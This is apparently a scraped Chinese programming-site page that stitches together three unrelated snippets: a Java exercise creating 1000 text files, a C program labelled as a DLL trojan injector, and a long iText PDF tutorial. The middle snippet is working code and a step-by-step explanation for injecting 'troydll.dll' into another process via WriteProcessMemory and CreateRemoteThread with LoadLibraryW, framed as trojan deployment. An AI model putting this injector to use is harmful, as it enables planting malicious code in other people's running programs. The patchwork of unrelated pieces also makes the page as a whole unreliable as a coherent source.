精华内容
下载资源
问答
  • package zy;import java.io.File;...使用编程c盘根目录下创建一个文件夹abc * 文件夹abc中循环创建1000个文本文件 * @author Administrator * */ public class FileDemo { public static void

    package zy;

    import java.io.File;
    import java.io.IOException;

    /**
    * 1.使用编程在c盘根目录下创建一个文件夹abc
    * 在文件夹abc中循环创建1000个文本文件
    * @author Administrator
    *
    */
    public class FileDemo {
    public static void main(String[] args) throws IOException {
    File f = new File(“c:/abc”);
    f.mkdir();
    for (int i = 0; i < 1000; i++) {
    File ff = new File(“c:/abc/”+i+”.txt”);
    ff.createNewFile();
    }
    }
    }

    展开全文
  • //将d盘根目录下的troydll.dll插入到ID4000的进程中:#include <windows.h>#include <stdlib.h>#include <stdio.h>PDWORD pdwThreadId; HANDLE hRemoteThread, hRemoteProcess;DWORD fdwCreate,...

    //将d盘根目录下的troydll.dll插入到ID为4000的进程中:
    #include <windows.h>
    #include <stdlib.h>
    #include <stdio.h>
    PDWORD pdwThreadId;
    HANDLE hRemoteThread, hRemoteProcess;
    DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
    PWSTR pszLibFileRemote=NULL;

    void main(int argc,char **argv)
    {
     int iReturnCode;
     char lpDllFullPathName[MAX_PATH];
     WCHAR pszLibFileName[MAX_PATH]={0};
     dwRemoteProcessId = 4000;
     strcpy(lpDllFullPathName, "d:\\troydll.dll");
     iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
      lpDllFullPathName, strlen(lpDllFullPathName),pszLibFileName, MAX_PATH);  //将DLL文件全路径的ANSI码转换成UNICODE码
     //打开远程进程
    hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
      PROCESS_VM_OPERATION | //允许VM操作
      PROCESS_VM_WRITE, //允许VM写
      FALSE, dwRemoteProcessId );
     
     int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); //计算DLL路径名需要的内存空间
     pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);

     //将DLL的路径名复制到远程进程的内存空间 pszLibFileName = "d:\\troydll.dll"
     iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

     //计算LoadLibraryW的入口地址
     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
       GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

     //启动远程线程,通过远程线程调用用户的DLL文件
     hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

     //等待远程线程退出
     WaitForSingleObject(hRemoteThread, INFINITE);
     //清场处理
     if (pszLibFileRemote != NULL)
     {
      VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
     }
     if (hRemoteThread != NULL)
     {
      CloseHandle(hRemoteThread );
     }
     if (hRemoteProcess!= NULL)
     {
      CloseHandle(hRemoteProcess);
     }
    }

    }

      从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

      (1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

      (2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

      (3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

      a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

      b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

      c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

      (4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

      (5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

      (6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

      (7)清理现场。

    转载于:https://www.cnblogs.com/SuperXJ/archive/2009/09/06/1561252.html

    展开全文
  • itextPdf Document document5=new Document(); File file5=new File("C:\\test.pdf");//文件流 if(!file5.exists()){ file5.createNewFile(); };//不知道什么,如

    itextPdf

    点击打开链接 转载

     Document document5=new Document();
                File file5=new File("C:\\test.pdf");//文件流
                if(!file5.exists()){
                    file5.createNewFile();
                };//不知道为什么,如果设置文件位置为c盘根目录下,就永远走不到这一步,永远不能顺利地创建文件,而是去了CreditReportApplyService
                OutputStream f1o=new FileOutputStream(file5);//输出流
                PdfWriter.getInstance(document5,f1o);
                document5.open();
                document5.add(new Paragraph("Hello Hello"));
                document5.close();
                f1o.close();


    iText是著名的开放项目,是用于生成PDF文档的一个java类库。通过iText不仅可以生成PDF或rtf的文档,而且可以将XML、Html文件转化为PDF文件。 

    http://itextpdf.com/ 

    版本:itextpdf-5.2.1.jar 

    1、生成一个PDF 
    Java代码  收藏代码
    1. //Step 1—Create a Document.  
    2. Document document = new Document();  
    3. //Step 2—Get a PdfWriter instance.  
    4. PdfWriter.getInstance(document, new FileOutputStream(FILE_DIR + "createSamplePDF.pdf"));  
    5. //Step 3—Open the Document.  
    6. document.open();  
    7. //Step 4—Add content.  
    8. document.add(new Paragraph("Hello World"));  
    9. //Step 5—Close the Document.  
    10. document.close();  


    2、页面大小,页面背景色,页边空白,Title,Author,Subject,Keywords 
    Java代码  收藏代码
    1. //页面大小  
    2. Rectangle rect = new Rectangle(PageSize.B5.rotate());  
    3. //页面背景色  
    4. rect.setBackgroundColor(BaseColor.ORANGE);  
    5.   
    6. Document doc = new Document(rect);  
    7.   
    8. PdfWriter writer = PdfWriter.getInstance(doc, out);  
    9.   
    10. //PDF版本(默认1.4)  
    11. writer.setPdfVersion(PdfWriter.PDF_VERSION_1_2);  
    12.   
    13. //文档属性  
    14. doc.addTitle("Title@sample");  
    15. doc.addAuthor("Author@rensanning");  
    16. doc.addSubject("Subject@iText sample");  
    17. doc.addKeywords("Keywords@iText");  
    18. doc.addCreator("Creator@iText");  
    19.   
    20. //页边空白  
    21. doc.setMargins(10203040);  
    22.   
    23. doc.open();  
    24. doc.add(new Paragraph("Hello World"));  

     

    3、设置密码 
    Java代码  收藏代码
    1. PdfWriter writer = PdfWriter.getInstance(doc, out);  
    2.   
    3. // 设置密码为:"World"  
    4. writer.setEncryption("Hello".getBytes(), "World".getBytes(),  
    5.         PdfWriter.ALLOW_SCREENREADERS,  
    6.         PdfWriter.STANDARD_ENCRYPTION_128);  
    7.   
    8. doc.open();  
    9. doc.add(new Paragraph("Hello World"));  

     

    4、添加Page 
    Java代码  收藏代码
    1. document.open();  
    2. document.add(new Paragraph("First page"));  
    3. document.add(new Paragraph(Document.getVersion()));  
    4.   
    5. document.newPage();  
    6. writer.setPageEmpty(false);  
    7.   
    8. document.newPage();  
    9. document.add(new Paragraph("New page"));  


    5、添加水印(背景图) 
    Java代码  收藏代码
    1. //图片水印  
    2. PdfReader reader = new PdfReader(FILE_DIR + "setWatermark.pdf");  
    3. PdfStamper stamp = new PdfStamper(reader, new FileOutputStream(FILE_DIR  
    4.         + "setWatermark2.pdf"));  
    5.   
    6. Image img = Image.getInstance("resource/watermark.jpg");  
    7. img.setAbsolutePosition(200400);  
    8. PdfContentByte under = stamp.getUnderContent(1);  
    9. under.addImage(img);  
    10.   
    11. //文字水印  
    12. PdfContentByte over = stamp.getOverContent(2);  
    13. over.beginText();  
    14. BaseFont bf = BaseFont.createFont(BaseFont.HELVETICA, BaseFont.WINANSI,  
    15.         BaseFont.EMBEDDED);  
    16. over.setFontAndSize(bf, 18);  
    17. over.setTextMatrix(3030);  
    18. over.showTextAligned(Element.ALIGN_LEFT, "DUPLICATE"23043045);  
    19. over.endText();  
    20.   
    21. //背景图  
    22. Image img2 = Image.getInstance("resource/test.jpg");  
    23. img2.setAbsolutePosition(00);  
    24. PdfContentByte under2 = stamp.getUnderContent(3);  
    25. under2.addImage(img2);  
    26.   
    27. stamp.close();  
    28. reader.close();  


    6、插入Chunk, Phrase, Paragraph, List 
    Java代码  收藏代码
    1. //Chunk对象: a String, a Font, and some attributes  
    2. document.add(new Chunk("China"));  
    3. document.add(new Chunk(" "));  
    4. Font font = new Font(Font.FontFamily.HELVETICA, 6, Font.BOLD, BaseColor.WHITE);  
    5. Chunk id = new Chunk("chinese", font);  
    6. id.setBackground(BaseColor.BLACK, 1f, 0.5f, 1f, 1.5f);  
    7. id.setTextRise(6);  
    8. document.add(id);  
    9. document.add(Chunk.NEWLINE);  
    10.   
    11. document.add(new Chunk("Japan"));  
    12. document.add(new Chunk(" "));  
    13. Font font2 = new Font(Font.FontFamily.HELVETICA, 6, Font.BOLD, BaseColor.WHITE);  
    14. Chunk id2 = new Chunk("japanese", font2);  
    15. id2.setBackground(BaseColor.BLACK, 1f, 0.5f, 1f, 1.5f);  
    16. id2.setTextRise(6);  
    17. id2.setUnderline(0.2f, -2f);  
    18. document.add(id2);  
    19. document.add(Chunk.NEWLINE);  
    20.   
    21. //Phrase对象: a List of Chunks with leading  
    22. document.newPage();  
    23. document.add(new Phrase("Phrase page"));  
    24.   
    25. Phrase director = new Phrase();  
    26. Chunk name = new Chunk("China");  
    27. name.setUnderline(0.2f, -2f);  
    28. director.add(name);  
    29. director.add(new Chunk(","));  
    30. director.add(new Chunk(" "));  
    31. director.add(new Chunk("chinese"));  
    32. director.setLeading(24);  
    33. document.add(director);  
    34.   
    35. Phrase director2 = new Phrase();  
    36. Chunk name2 = new Chunk("Japan");  
    37. name2.setUnderline(0.2f, -2f);  
    38. director2.add(name2);  
    39. director2.add(new Chunk(","));  
    40. director2.add(new Chunk(" "));  
    41. director2.add(new Chunk("japanese"));  
    42. director2.setLeading(24);  
    43. document.add(director2);  
    44.           
    45. //Paragraph对象: a Phrase with extra properties and a newline  
    46. document.newPage();  
    47. document.add(new Paragraph("Paragraph page"));  
    48.   
    49. Paragraph info = new Paragraph();  
    50. info.add(new Chunk("China "));  
    51. info.add(new Chunk("chinese"));  
    52. info.add(Chunk.NEWLINE);  
    53. info.add(new Phrase("Japan "));  
    54. info.add(new Phrase("japanese"));  
    55. document.add(info);  
    56.   
    57. //List对象: a sequence of Paragraphs called ListItem  
    58. document.newPage();  
    59. List list = new List(List.ORDERED);  
    60. for (int i = 0; i < 10; i++) {  
    61.     ListItem item = new ListItem(String.format("%s: %d movies",  
    62.             "country" + (i + 1), (i + 1) * 100), new Font(  
    63.             Font.FontFamily.HELVETICA, 6, Font.BOLD, BaseColor.WHITE));  
    64.     List movielist = new List(List.ORDERED, List.ALPHABETICAL);  
    65.     movielist.setLowercase(List.LOWERCASE);  
    66.     for (int j = 0; j < 5; j++) {  
    67.         ListItem movieitem = new ListItem("Title" + (j + 1));  
    68.         List directorlist = new List(List.UNORDERED);  
    69.         for (int k = 0; k < 3; k++) {  
    70.             directorlist.add(String.format("%s, %s""Name1" + (k + 1),  
    71.                     "Name2" + (k + 1)));  
    72.         }  
    73.         movieitem.add(directorlist);  
    74.         movielist.add(movieitem);  
    75.     }  
    76.     item.add(movielist);  
    77.     list.add(item);  
    78. }  
    79. document.add(list);  


    7、插入Anchor, Image, Chapter, Section 
    Java代码  收藏代码
    1. //Anchor对象: internal and external links  
    2. Paragraph country = new Paragraph();  
    3. Anchor dest = new Anchor("china"new Font(Font.FontFamily.HELVETICA, 14, Font.BOLD, BaseColor.BLUE));  
    4. dest.setName("CN");  
    5. dest.setReference("http://www.china.com");//external  
    6. country.add(dest);  
    7. country.add(String.format(": %d sites"10000));  
    8. document.add(country);  
    9.   
    10. document.newPage();  
    11. Anchor toUS = new Anchor("Go to first page."new Font(Font.FontFamily.HELVETICA, 14, Font.BOLD, BaseColor.BLUE));  
    12. toUS.setReference("#CN");//internal  
    13. document.add(toUS);  
    14.   
    15. //Image对象  
    16. document.newPage();  
    17. Image img = Image.getInstance("resource/test.jpg");  
    18. img.setAlignment(Image.LEFT | Image.TEXTWRAP);  
    19. img.setBorder(Image.BOX);  
    20. img.setBorderWidth(10);  
    21. img.setBorderColor(BaseColor.WHITE);  
    22. img.scaleToFit(100072);//大小  
    23. img.setRotationDegrees(-30);//旋转  
    24. document.add(img);  
    25.   
    26. //Chapter, Section对象(目录)  
    27. document.newPage();  
    28. Paragraph title = new Paragraph("Title");  
    29. Chapter chapter = new Chapter(title, 1);  
    30.   
    31. title = new Paragraph("Section A");  
    32. Section section = chapter.addSection(title);  
    33. section.setBookmarkTitle("bmk");  
    34. section.setIndentation(30);  
    35. section.setBookmarkOpen(false);  
    36. section.setNumberStyle(  
    37. Section.NUMBERSTYLE_DOTTED_WITHOUT_FINAL_DOT);  
    38.   
    39. Section subsection = section.addSection(new Paragraph("Sub Section A"));  
    40. subsection.setIndentationLeft(20);  
    41. subsection.setNumberDepth(1);  
    42.   
    43. document.add(chapter);  


    8、画图 
    Java代码  收藏代码
    1. //左右箭头  
    2. document.add(new VerticalPositionMark() {  
    3.   
    4.     public void draw(PdfContentByte canvas, float llx, float lly,  
    5.             float urx, float ury, float y) {  
    6.         canvas.beginText();  
    7.         BaseFont bf = null;  
    8.         try {  
    9.             bf = BaseFont.createFont(BaseFont.ZAPFDINGBATS, "", BaseFont.EMBEDDED);  
    10.         } catch (Exception e) {  
    11.             e.printStackTrace();  
    12.         }  
    13.         canvas.setFontAndSize(bf, 12);  
    14.           
    15.         // LEFT  
    16.         canvas.showTextAligned(Element.ALIGN_CENTER, String.valueOf((char220), llx - 10, y, 0);  
    17.         // RIGHT  
    18.         canvas.showTextAligned(Element.ALIGN_CENTER, String.valueOf((char220), urx + 10, y + 8180);  
    19.           
    20.         canvas.endText();  
    21.     }  
    22. });  
    23.   
    24. //直线  
    25. Paragraph p1 = new Paragraph("LEFT");  
    26. p1.add(new Chunk(new LineSeparator()));  
    27. p1.add("R");  
    28. document.add(p1);  
    29. //点线  
    30. Paragraph p2 = new Paragraph("LEFT");  
    31. p2.add(new Chunk(new DottedLineSeparator()));  
    32. p2.add("R");  
    33. document.add(p2);  
    34. //下滑线  
    35. LineSeparator UNDERLINE = new LineSeparator(1100null, Element.ALIGN_CENTER, -2);  
    36. Paragraph p3 = new Paragraph("NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN");  
    37. p3.add(UNDERLINE);  
    38. document.add(p3);  

     

    9、设置段落 
    Java代码  收藏代码
    1. Paragraph p = new Paragraph("In the previous example, you added a header and footer with the showTextAligned() method. This example demonstrates that it’s sometimes more interesting to use PdfPTable and writeSelectedRows(). You can define a bottom border for each cell so that the header is underlined. This is the most elegant way to add headers and footers, because the table mechanism allows you to position and align lines, images, and text.");  
    2.   
    3. //默认  
    4. p.setAlignment(Element.ALIGN_JUSTIFIED);  
    5. document.add(p);  
    6.   
    7. document.newPage();  
    8. p.setAlignment(Element.ALIGN_JUSTIFIED);  
    9. p.setIndentationLeft(1 * 15f);  
    10. p.setIndentationRight((5 - 1) * 15f);  
    11. document.add(p);  
    12.   
    13. //居右  
    14. document.newPage();  
    15. p.setAlignment(Element.ALIGN_RIGHT);  
    16. p.setSpacingAfter(15f);  
    17. document.add(p);  
    18.   
    19. //居左  
    20. document.newPage();  
    21. p.setAlignment(Element.ALIGN_LEFT);  
    22. p.setSpacingBefore(15f);  
    23. document.add(p);  
    24.   
    25. //居中  
    26. document.newPage();  
    27. p.setAlignment(Element.ALIGN_CENTER);  
    28. p.setSpacingAfter(15f);  
    29. p.setSpacingBefore(15f);  
    30. document.add(p);  


    10、删除Page 
    Java代码  收藏代码
    1. FileOutputStream out = new FileOutputStream(FILE_DIR + "deletePage.pdf");  
    2.   
    3. Document document = new Document();  
    4.   
    5. PdfWriter writer = PdfWriter.getInstance(document, out);  
    6.   
    7. document.open();  
    8. document.add(new Paragraph("First page"));  
    9. document.add(new Paragraph(Document.getVersion()));  
    10.   
    11. document.newPage();  
    12. writer.setPageEmpty(false);  
    13.   
    14. document.newPage();  
    15. document.add(new Paragraph("New page"));  
    16.   
    17. document.close();  
    18.   
    19. PdfReader reader = new PdfReader(FILE_DIR + "deletePage.pdf");  
    20. reader.selectPages("1,3");  
    21. PdfStamper stamp = new PdfStamper(reader, new FileOutputStream(FILE_DIR  
    22.         + "deletePage2.pdf"));  
    23. stamp.close();  
    24. reader.close();  


    11、插入Page 
    Java代码  收藏代码
    1. FileOutputStream out = new FileOutputStream(FILE_DIR + "insertPage.pdf");  
    2.   
    3. Document document = new Document();  
    4.   
    5. PdfWriter.getInstance(document, out);  
    6.   
    7. document.open();  
    8. document.add(new Paragraph("1 page"));  
    9.   
    10. document.newPage();  
    11. document.add(new Paragraph("2 page"));  
    12.   
    13. document.newPage();  
    14. document.add(new Paragraph("3 page"));  
    15.   
    16. document.close();  
    17.   
    18. PdfReader reader = new PdfReader(FILE_DIR + "insertPage.pdf");  
    19. PdfStamper stamp = new PdfStamper(reader, new FileOutputStream(FILE_DIR  
    20.         + "insertPage2.pdf"));  
    21.   
    22. stamp.insertPage(2, reader.getPageSize(1));  
    23.   
    24. ColumnText ct = new ColumnText(null);  
    25. ct.addElement(new Paragraph(24new Chunk("INSERT PAGE")));  
    26. ct.setCanvas(stamp.getOverContent(2));  
    27. ct.setSimpleColumn(3636559770);  
    28.   
    29. stamp.close();  
    30. reader.close();  


    12、排序page 
    Java代码  收藏代码
    1. PdfWriter writer = PdfWriter.getInstance(doc, out);  
    2. writer.setLinearPageMode();  
    3.   
    4. doc.open();  
    5. doc.add(new Paragraph("1 page"));  
    6. doc.newPage();  
    7. doc.add(new Paragraph("2 page"));  
    8. doc.newPage();  
    9. doc.add(new Paragraph("3 page"));  
    10. doc.newPage();  
    11. doc.add(new Paragraph("4 page"));  
    12. doc.newPage();  
    13. doc.add(new Paragraph("5 page"));  
    14.   
    15. int[] order = {4,3,2,1};  
    16. writer.reorderPages(order);  


    13、目录 
    Java代码  收藏代码
    1. // Code 1  
    2. document.add(new Chunk("Chapter 1").setLocalDestination("1"));  
    3.   
    4. document.newPage();  
    5. document.add(new Chunk("Chapter 2").setLocalDestination("2"));  
    6. document.add(new Paragraph(new Chunk("Sub 2.1").setLocalDestination("2.1")));  
    7. document.add(new Paragraph(new Chunk("Sub 2.2").setLocalDestination("2.2")));  
    8.   
    9. document.newPage();  
    10. document.add(new Chunk("Chapter 3").setLocalDestination("3"));  
    11.   
    12. // Code 2  
    13. PdfContentByte cb = writer.getDirectContent();  
    14. PdfOutline root = cb.getRootOutline();  
    15.   
    16. // Code 3  
    17. @SuppressWarnings("unused")  
    18. PdfOutline oline1 = new PdfOutline(root, PdfAction.gotoLocalPage("1"false), "Chapter 1");  
    19.   
    20. PdfOutline oline2 = new PdfOutline(root, PdfAction.gotoLocalPage("2"false), "Chapter 2");  
    21. oline2.setOpen(false);  
    22.   
    23. @SuppressWarnings("unused")  
    24. PdfOutline oline2_1 = new PdfOutline(oline2, PdfAction.gotoLocalPage("2.1"false), "Sub 2.1");  
    25. @SuppressWarnings("unused")  
    26. PdfOutline oline2_2 = new PdfOutline(oline2, PdfAction.gotoLocalPage("2.2"false), "Sub 2.2");  
    27.   
    28. @SuppressWarnings("unused")  
    29. PdfOutline oline3 = new PdfOutline(root, PdfAction.gotoLocalPage("3"false), "Chapter 3");  

     

    14、Header, Footer 
    Java代码  收藏代码
    1. PdfWriter writer = PdfWriter.getInstance(doc, new FileOutputStream(FILE_DIR + "setHeaderFooter.pdf"));  
    2.   
    3. writer.setPageEvent(new PdfPageEventHelper() {  
    4.   
    5.     public void onEndPage(PdfWriter writer, Document document) {  
    6.           
    7.         PdfContentByte cb = writer.getDirectContent();  
    8.         cb.saveState();  
    9.   
    10.         cb.beginText();  
    11.         BaseFont bf = null;  
    12.         try {  
    13.             bf = BaseFont.createFont(BaseFont.HELVETICA, BaseFont.WINANSI, BaseFont.EMBEDDED);  
    14.         } catch (Exception e) {  
    15.             e.printStackTrace();  
    16.         }  
    17.         cb.setFontAndSize(bf, 10);  
    18.           
    19.         //Header  
    20.         float x = document.top(-20);  
    21.           
    22.         //左  
    23.         cb.showTextAligned(PdfContentByte.ALIGN_LEFT,  
    24.                            "H-Left",  
    25.                            document.left(), x, 0);  
    26.         //中  
    27.         cb.showTextAligned(PdfContentByte.ALIGN_CENTER,  
    28.                             writer.getPageNumber()+ " page",  
    29.                            (document.right() + document.left())/2,  
    30.                            x, 0);  
    31.         //右  
    32.         cb.showTextAligned(PdfContentByte.ALIGN_RIGHT,  
    33.                            "H-Right",  
    34.                            document.right(), x, 0);  
    35.   
    36.         //Footer  
    37.         float y = document.bottom(-20);  
    38.   
    39.         //左  
    40.         cb.showTextAligned(PdfContentByte.ALIGN_LEFT,  
    41.                            "F-Left",  
    42.                            document.left(), y, 0);  
    43.         //中  
    44.         cb.showTextAligned(PdfContentByte.ALIGN_CENTER,  
    45.                             writer.getPageNumber()+" page",  
    46.                            (document.right() + document.left())/2,  
    47.                            y, 0);  
    48.         //右  
    49.         cb.showTextAligned(PdfContentByte.ALIGN_RIGHT,  
    50.                            "F-Right",  
    51.                            document.right(), y, 0);  
    52.   
    53.         cb.endText();  
    54.           
    55.         cb.restoreState();  
    56.     }  
    57. });  
    58.   
    59. doc.open();  
    60. doc.add(new Paragraph("1 page"));          
    61. doc.newPage();  
    62. doc.add(new Paragraph("2 page"));          
    63. doc.newPage();  
    64. doc.add(new Paragraph("3 page"));          
    65. doc.newPage();  
    66. doc.add(new Paragraph("4 page"));  


    15、左右文字 
    Java代码  收藏代码
    1. PdfWriter writer = PdfWriter.getInstance(document, out);  
    2.   
    3. document.open();  
    4.   
    5. PdfContentByte canvas = writer.getDirectContent();  
    6.   
    7. Phrase phrase1 = new Phrase("This is a test!left");  
    8. Phrase phrase2 = new Phrase("This is a test!right");  
    9. Phrase phrase3 = new Phrase("This is a test!center");  
    10. ColumnText.showTextAligned(canvas, Element.ALIGN_LEFT, phrase1, 105000);  
    11. ColumnText.showTextAligned(canvas, Element.ALIGN_RIGHT, phrase2, 105360);  
    12. ColumnText.showTextAligned(canvas, Element.ALIGN_CENTER, phrase3, 105720);  


    16、幻灯片放映 
    Java代码  收藏代码
    1. PdfWriter writer = PdfWriter.getInstance(doc, out);  
    2.   
    3. writer.setPdfVersion(PdfWriter.VERSION_1_5);  
    4.   
    5. writer.setViewerPreferences(PdfWriter.PageModeFullScreen);//全屏  
    6. writer.setPageEvent(new PdfPageEventHelper() {  
    7.     public void onStartPage(PdfWriter writer, Document document) {  
    8.         writer.setTransition(new PdfTransition(PdfTransition.DISSOLVE, 3));  
    9.         writer.setDuration(5);//间隔时间  
    10.     }  
    11. });  
    12.   
    13. doc.open();  
    14. doc.add(new Paragraph("1 page"));  
    15. doc.newPage();  
    16. doc.add(new Paragraph("2 page"));  
    17. doc.newPage();  
    18. doc.add(new Paragraph("3 page"));  
    19. doc.newPage();  
    20. doc.add(new Paragraph("4 page"));  
    21. doc.newPage();  
    22. doc.add(new Paragraph("5 page"));  


    17、压缩PDF到Zip 
    Java代码  收藏代码
    1. ZipOutputStream zip = new ZipOutputStream(new FileOutputStream(FILE_DIR + "zipPDF.zip"));  
    2. for (int i = 1; i <= 3; i++) {  
    3.     ZipEntry entry = new ZipEntry("hello_" + i + ".pdf");  
    4.     zip.putNextEntry(entry);  
    5.     Document document = new Document();  
    6.     PdfWriter writer = PdfWriter.getInstance(document, zip);  
    7.     writer.setCloseStream(false);  
    8.     document.open();  
    9.     document.add(new Paragraph("Hello " + i));  
    10.     document.close();  
    11.     zip.closeEntry();  
    12. }  
    13. zip.close();  

     

    18、分割PDF 
    Java代码  收藏代码
    1. FileOutputStream out = new FileOutputStream(FILE_DIR + "splitPDF.pdf");  
    2.   
    3. Document document = new Document();  
    4.   
    5. PdfWriter.getInstance(document, out);  
    6.   
    7. document.open();  
    8. document.add(new Paragraph("1 page"));  
    9.   
    10. document.newPage();  
    11. document.add(new Paragraph("2 page"));  
    12.   
    13. document.newPage();  
    14. document.add(new Paragraph("3 page"));  
    15.   
    16. document.newPage();  
    17. document.add(new Paragraph("4 page"));  
    18.   
    19. document.close();  
    20.   
    21. PdfReader reader = new PdfReader(FILE_DIR + "splitPDF.pdf");  
    22.   
    23. Document dd = new Document();  
    24. PdfWriter writer = PdfWriter.getInstance(dd, new FileOutputStream(FILE_DIR + "splitPDF1.pdf"));  
    25. dd.open();  
    26. PdfContentByte cb = writer.getDirectContent();  
    27. dd.newPage();  
    28. cb.addTemplate(writer.getImportedPage(reader, 1), 00);  
    29. dd.newPage();  
    30. cb.addTemplate(writer.getImportedPage(reader, 2), 00);  
    31. dd.close();  
    32. writer.close();  
    33.   
    34. Document dd2 = new Document();  
    35. PdfWriter writer2 = PdfWriter.getInstance(dd2, new FileOutputStream(FILE_DIR + "splitPDF2.pdf"));  
    36. dd2.open();  
    37. PdfContentByte cb2 = writer2.getDirectContent();  
    38. dd2.newPage();  
    39. cb2.addTemplate(writer2.getImportedPage(reader, 3), 00);  
    40. dd2.newPage();  
    41. cb2.addTemplate(writer2.getImportedPage(reader, 4), 00);  
    42. dd2.close();  
    43. writer2.close();  


    19、合并PDF 
    Java代码  收藏代码
    1. PdfReader reader1 = new PdfReader(FILE_DIR + "splitPDF1.pdf");  
    2. PdfReader reader2 = new PdfReader(FILE_DIR + "splitPDF2.pdf");  
    3.   
    4. FileOutputStream out = new FileOutputStream(FILE_DIR + "mergePDF.pdf");  
    5.   
    6. Document document = new Document();  
    7. PdfWriter writer = PdfWriter.getInstance(document, out);  
    8.   
    9. document.open();  
    10. PdfContentByte cb = writer.getDirectContent();  
    11.   
    12. int totalPages = 0;  
    13. totalPages += reader1.getNumberOfPages();  
    14. totalPages += reader2.getNumberOfPages();  
    15.   
    16. java.util.List<PdfReader> readers = new ArrayList<PdfReader>();  
    17. readers.add(reader1);  
    18. readers.add(reader2);  
    19.   
    20. int pageOfCurrentReaderPDF = 0;  
    21. Iterator<PdfReader> iteratorPDFReader = readers.iterator();  
    22.   
    23. // Loop through the PDF files and add to the output.  
    24. while (iteratorPDFReader.hasNext()) {  
    25.     PdfReader pdfReader = iteratorPDFReader.next();  
    26.   
    27.     // Create a new page in the target for each source page.  
    28.     while (pageOfCurrentReaderPDF < pdfReader.getNumberOfPages()) {  
    29.         document.newPage();  
    30.         pageOfCurrentReaderPDF++;  
    31.         PdfImportedPage page = writer.getImportedPage(pdfReader, pageOfCurrentReaderPDF);  
    32.         cb.addTemplate(page, 00);  
    33.     }  
    34.     pageOfCurrentReaderPDF = 0;  
    35. }  
    36. out.flush();  
    37. document.close();  
    38. out.close();  


    20、Annotation 
    Java代码  收藏代码
    1. PdfWriter writer = PdfWriter.getInstance(doc, out);  
    2. writer.setLinearPageMode();  
    3.   
    4. doc.open();  
    5. doc.add(new Paragraph("1 page"));  
    6. doc.add(new Annotation("Title""This is a annotation!"));  
    7.   
    8. doc.newPage();  
    9. doc.add(new Paragraph("2 page"));  
    10. Chunk chunk = new Chunk("\u00a0");  
    11. chunk.setAnnotation(PdfAnnotation.createText(writer, null"Title""This is a another annotation!"false"Comment"));  
    12. doc.add(chunk);  
    13.   
    14. //添加附件  
    15. doc.newPage();  
    16. doc.add(new Paragraph("3 page"));  
    17. Chunk chunk2 = new Chunk("\u00a0\u00a0");  
    18. PdfAnnotation annotation = PdfAnnotation.createFileAttachment(  
    19.         writer, null"Title"null,  
    20.         "resource/test2.jpg",  
    21.         "img.jpg");  
    22. annotation.put(PdfName.NAME,  
    23.         new PdfString("Paperclip"));  
    24. chunk2.setAnnotation(annotation);  
    25. doc.add(chunk2);  

     

    21、插入一个Table 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(3);  
    2. PdfPCell cell;  
    3. cell = new PdfPCell(new Phrase("Cell with colspan 3"));  
    4. cell.setColspan(3);  
    5. table.addCell(cell);  
    6. cell = new PdfPCell(new Phrase("Cell with rowspan 2"));  
    7. cell.setRowspan(2);  
    8. table.addCell(cell);  
    9. table.addCell("row 1; cell 1");  
    10. table.addCell("row 1; cell 2");  
    11. table.addCell("row 2; cell 1");  
    12. table.addCell("row 2; cell 2");  
    13.   
    14. document.add(table);  


    22、表格嵌套 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(4);  
    2.   
    3. //1行2列  
    4. PdfPTable nested1 = new PdfPTable(2);  
    5. nested1.addCell("1.1");  
    6. nested1.addCell("1.2");  
    7.   
    8. //2行1列  
    9. PdfPTable nested2 = new PdfPTable(1);  
    10. nested2.addCell("2.1");  
    11. nested2.addCell("2.2");  
    12.   
    13. //将表格插入到指定位置  
    14. for (int k = 0; k < 24; ++k) {  
    15.     if (k == 1) {  
    16.         table.addCell(nested1);  
    17.     } else if (k == 20) {  
    18.         table.addCell(nested2);  
    19.     } else {  
    20.         table.addCell("cell " + k);  
    21.     }  
    22. }  
    23.   
    24. document.add(table);  


    23、设置表格宽度 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(3);  
    2. PdfPCell cell;  
    3. cell = new PdfPCell(new Phrase("Cell with colspan 3"));  
    4. cell.setColspan(3);  
    5. table.addCell(cell);  
    6. cell = new PdfPCell(new Phrase("Cell with rowspan 2"));  
    7. cell.setRowspan(2);  
    8. table.addCell(cell);  
    9. table.addCell("row 1; cell 1");  
    10. table.addCell("row 1; cell 2");  
    11. table.addCell("row 2; cell 1");  
    12. table.addCell("row 2; cell 2");  
    13.   
    14. //100%  
    15. table.setWidthPercentage(100);  
    16. document.add(table);          
    17. document.add(new Paragraph("\n\n"));  
    18.   
    19. //宽度50% 居左  
    20. table.setHorizontalAlignment(Element.ALIGN_LEFT);  
    21. document.add(table);  
    22. document.add(new Paragraph("\n\n"));  
    23.   
